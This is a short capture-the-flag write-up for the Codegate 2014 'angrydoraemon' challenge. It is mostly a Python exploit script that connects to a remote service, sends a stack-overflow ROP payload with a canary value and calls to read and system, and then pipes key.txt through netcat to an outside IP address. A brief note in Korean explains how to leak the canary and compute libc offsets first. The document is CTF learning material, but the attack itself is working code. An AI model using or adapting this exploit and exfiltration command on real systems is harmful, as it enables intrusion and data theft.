Codegate 2014 angrydoraemon write-up

#!/usr/bin/python

from socket import *

import time

from struct import pack,unpack

p = lambda x: pack("<L",x)

host = "ctfagain.kr"

port = 7001

s = socket(AF_INET,SOCK_STREAM)

s.connect((host,port))

write_plt = 0x080486e0

pppr = 0x08048b2c

read_got = 0x0804b010

read_plt = 0x08048620

system_addr = 0xB7600260

freespace = 0x0804b180

payload =""

payload += "yaaabbbbcc"

payload += "\x00\x5a\x5b\x62"

payload += "ddddeeeebbbb"

payload += p(read_plt)

payload += p(pppr)

payload += p(4)

payload += p(freespace)

payload += p(100)

payload += p(system_addr)

payload += "aaaa"

payload += p(freespace)

payload += "\x00\x00\x00\x00\x00\x00\x00\x00"

print s.recv(5000)

print s.recv(26)

print s.recv(21)

time.sleep(2)

print s.recv(500)

s.send("4\n")

print s.recv(500)

raw_input()

s.send(payload + "\n")

time.sleep(0.5)

s.send("cat key.txt|nc 115.86.51.173 31337\n")

ctfagain.kr 기준으로 풀었습니다. 요건 완성본인데 이걸 돌려주기 전에 먼저 stack canary를 leak 해야되고 아무 got 나 뽑아서 함수 주소를 알아낸 다음에(저 같은 경우는 read 함수)

서버가 ubuntu 13.10이므로 13.10 라이브러리 기준으로 system 함수 offset을 계산해야됩니다.